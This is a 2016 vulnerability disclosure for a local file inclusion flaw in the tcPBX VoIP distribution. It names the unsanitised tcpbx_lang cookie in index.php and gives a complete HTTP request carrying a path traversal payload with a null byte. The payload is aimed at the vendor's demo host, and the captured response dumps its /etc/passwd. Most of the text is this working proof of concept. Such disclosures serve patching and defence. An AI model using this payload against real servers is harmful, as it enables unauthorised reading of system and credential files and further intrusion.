tcPBX Remote File Disclosure

`Vulnerable hardware : tcpbx voip distro  
Vendor : www.tcpbx.org  
Author : Ahmed sultan (@0x4148)  
Email : [email protected]  
  
Summary : According to the vendor's site ,  
tcPbX is a complete and functional VoIP phone system based on Asterisk open  
source software and CentOS operating system.  
The simplified installation and the new administration portal allow you to  
have a full featured phone system in less than an hour without specific  
skills on linux or asterisk  
  
Vulnerable file : /var/www/html/tcpbx/index.php  
The software suffer from LFI flaw because of the tcpbx_lang parameter isn't  
sanitized before being proceeded in the file  
  
Request  
GET /tcpbx/ HTTP/1.1  
Host: demo.tcpbx.org  
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:47.0)  
Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: tcpbx_lang=../../../../../../../../../../etc/passwd%00;  
PHPSESSID=cupsei1iqmv2bqa81pkcvg4jg1  
Connection: close  
Cache-Control: max-age=0  
-----------------------------------  
Response  
HTTP/1.1 200 OK  
Date: Fri, 19 Aug 2016 15:45:30 GMT  
Server: Apache/2.2.15 (CentOS)  
X-Powered-By: PHP/5.3.3  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Pragma: no-cache  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 23874  
  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin  
operator:x:11:0:operator:/root:/sbin/nologin  
games:x:12:100:games:/usr/games:/sbin/nologin  
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin  
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
nobody:x:99:99:Nobody:/:/sbin/nologin  
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin  
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin  
ntp:x:38:38::/etc/ntp:/sbin/nologin  
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin  
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin  
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin  
apache:x:48:48:Apache:/var/www:/sbin/nologin  
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash  
postfix:x:89:89::/var/spool/postfix:/sbin/nologin  
`